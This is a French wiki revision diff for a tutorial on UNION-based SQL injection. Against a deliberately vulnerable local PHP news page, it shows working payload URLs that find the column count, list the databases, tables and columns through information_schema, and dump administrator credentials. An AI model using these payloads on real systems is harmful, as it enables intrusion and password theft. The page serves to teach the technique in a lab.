Outils d'utilisateurs

Outils du Site


failles_web:sql_injection

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

failles_web:sql_injection [2012/06/15 12:36]
TheLizardKing
failles_web:sql_injection [2017/04/09 15:33] (Version actuelle)
Ligne 36: Ligne 36:
 ==== Contexte ==== ==== Contexte ====
  
-On va étudier le cas d'une page qui affiche des news stockées dans une base de donnée. Notre but va être de récupérer le mot de passe de l'administrateur qui est stocké dans la base de donnée. Afin que vous puissiez reproduire ce scénario chez vous, si vous le souhaitez, voici les différentes requêtes pour créer les tables ainsi que le script PHP.+On va étudier le cas d'une page qui affiche des news stockées dans une base de donnée. Notre but va être de récupérer le mot de passe de l'administrateur qui est stocké dans la base de donnée. Nous allons faire comme si nous ne connaissons pas la structure de la base de données. Nous utilisons une base de donnée MySQL 5. Afin que vous puissiez reproduire ce scénario chez vous, si vous le souhaitez, voici les différentes requêtes pour créer les tables ainsi que le script PHP.
  
 <code SQL> <code SQL>
Ligne 80: Ligne 80:
 </code> </code>
  
-<code PHP>+<file PHP index.php>
 <?php <?php
  
Ligne 91: Ligne 91:
 echo "<h1>".$news['titre']."</h1> par <i>".$news['auteur']."</i><br/>"; echo "<h1>".$news['titre']."</h1> par <i>".$news['auteur']."</i><br/>";
 echo "<p>".$news['contenu']."</p>"; echo "<p>".$news['contenu']."</p>";
 +</file>
 +
 +==== Utilisation de UNION ====
 +
 +D'après la documentation de MySQL la clause UNION sert à << combiner le résultat de plusieurs requêtes SELECT en un seul résultat >>. C'est exactement comme si on faisait deux requêtes séparément et que les tableaux résultants de ces requêtes était mis à la suite l'un de l'autre. Les deux requêtes doivent donc générer un tableau de même taille pour que la fusion se fasse correctement. Dans le cadre d'un UNION, si les deux résultats ne font pas la même taille, MySQL reverra une erreur.
 +
 +Par exemple
 +<code SQL>
 +SELECT id FROM news UNION SELECT 1,2
 +</code>
 +nous renvois
 +<code>
 +#1222 - The used SELECT statements have a different number of columns
 +</code>
 +
 +Maintenant
 +<code SQL>
 +SELECT id,titre FROM news UNION SELECT 1,2
 +</code>
 +nous renvois
 +^ ID ^ Titre ^
 +| 1  | Première news |
 +| 2  | Seconde news  |
 +| 1  | 2 |
 +
 +
 +On remarque ici que le résultat de la requête que l'on contrôle est mis à la suite de la première. Notre page affichera donc uniquement la première news, or ce que nous désirons, c'est afficher le résultat de notre propre requête. Il faut donc que la première requête ne renvois aucun résultat.
 +
 +<code SQL>
 +SELECT id,titre FROM news WHERE id=-1 UNION SELECT 1,2
 +</code>
 +^ ID ^ Titre ^
 +| 1  | 2 |
 +Le résultat est bien celui attendu :-)
 +
 +==== Trouver le nombre de colonnes ====
 +
 +Comme on vient de le voir, il est nécessaire de connaître le nombre de colonnes de la première requête pour faire fonctionner correctement le UNION.
 +
 +Une technique très simple existe :  ORDER BY. La clause ORDER BY permet de trier le tableau résultant de la requête en fonction d'une colonne, de manière croissante ou décroissante. Il est non seulement possible de renseigner cette colonne par son nom, mais aussi par son identifiant, la première colonne portant l'identifiant 1, la seconde 2, etc ... Il est donc très facile de connaître le nombre de colonne d'une requête dont on contrôle une partie.
 +
 +<code>
 +http://localhost/news.php?id=1 ORDER BY 1
 +</code>
 +Pas d'erreur.
 +
 +<code>
 +http://localhost/news.php?id=1 ORDER BY 2
 +</code>
 +Pas d'erreur.
 +
 +<code>
 +http://localhost/news.php?id=1 ORDER BY 3
 +</code>
 +Pas d'erreur.
 +
 +<code>
 +http://localhost/news.php?id=1 ORDER BY 4
 +</code>
 +<code>
 +Unknown column '4' in 'order clause'
 +</code>
 +
 +On peut donc en conclure que la requête porte sur 3 colonnes. Notre requête utilisée pour le UNION devra donc elle aussi comporter 3 colonnes.
 +
 +==== Liste des bases de données ====
 +
 +Afin de maximiser les chances de trouver ce que nous cherchons, il est possible de lister toutes les bases de données présentent sur le serveur. La liste des bases de données est disponible dans la table //schemata// de la base de donnée //information_schema//. [[http://dev.mysql.com/doc/refman/5.0/fr/information-schema.html|Plus d'information concernant la base de données information_schema]]
 +
 +<code>
 +http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata
 +</code>
 +
 +La page renvoyée par cette requête ressemble à ça :
 +<code>
 +1
 +par 2
 +
 +information_schema,sqli
 +</code>
 +
 +Ici notre première requête ne renvois aucun résultat. La seconde requête elle renvois la liste des bases de données séparées par une virgule. Il en sera ainsi pour toutes les données extraites.
 +
 +==== Liste des tables ====
 +
 +De la même manière que la liste des bases de données, la liste des tables de chaque base de données se trouve dans la base de données //information_schema// mais dans la table //tables//. Classiquement, on liste les tables de la base de données courante.
 +
 +<code>
 +http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = database()
 +</code>
 +
 +<code>
 +news,users
 +</code>
 +
 +==== Liste des colonnes d'une table ====
 +
 +Les colonnes d'une table peuvent se trouver facilement grâce à la table //columns// de la base de données //information_schema//.
 +
 +<code>
 +http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users'
 +</code>
 +
 +<code>
 +id,name,password
 +</code>
 +
 +==== Informations d'une table ====
 +
 +Nous possédons toutes les données nécessaire pour extraire des informations intéressante de la base de donnée. En l'occurrence les informations des utilisateurs.
 +
 +<code>
 +http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(id,0x202D20,name,0x202D20,password) FROM users
 </code> </code>
  
 +<code>1 - administrateur - SuperPass</code>
  
 +Ici, chaque tuple de la table //users// sera affiché et séparé par une virgule. Le //group_concat// réalise cette opération. Chaque tuple est affiché sous la forme //id - name - password//. Le //0x202D20// correspond en fait à l'espace et au tiret qui sépare chaque colonne.
  
failles_web/sql_injection.1339756568.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)